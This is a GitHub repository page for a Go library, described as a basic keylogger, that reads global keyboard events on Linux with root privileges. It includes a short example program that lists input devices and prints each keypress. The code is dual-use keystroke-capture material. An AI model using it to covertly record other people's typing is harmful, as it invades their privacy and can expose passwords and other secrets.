Skip to content

nsaway/keylogger

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

KeyLogger

Description

Capture global keyboard events on Linux

Installation

go get github.com/MarinX/keylogger

Notes

  • Only Linux based
  • Need root privilages

Example

package main

import (
    "fmt"
    "github.com/MarinX/keylogger"
)

func main() {
    devs, err := keylogger.NewDevices()
    if err != nil {
	    fmt.Println(err)
	    return
    }

    for _, val := range devs {
	    fmt.Println("Id->", val.Id, "Device->", val.Name)
    }

    //keyboard device file, on your system it will be diffrent!
    rd := keylogger.NewKeyLogger(devs[3])

    in, err := rd.Read()
    if err != nil {
	    fmt.Println(err)
	    return
    }

    for i := range in {

	    //we only need keypress
	    if i.Type == keylogger.EV_KEY {
		    fmt.Println(i.KeyString())
	    }
    }
}

Creating key sniffer

License

This library is under the MIT License

Author

Marin Basic

About

Basic keylogger in Go (no C deps)

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Go 100.0%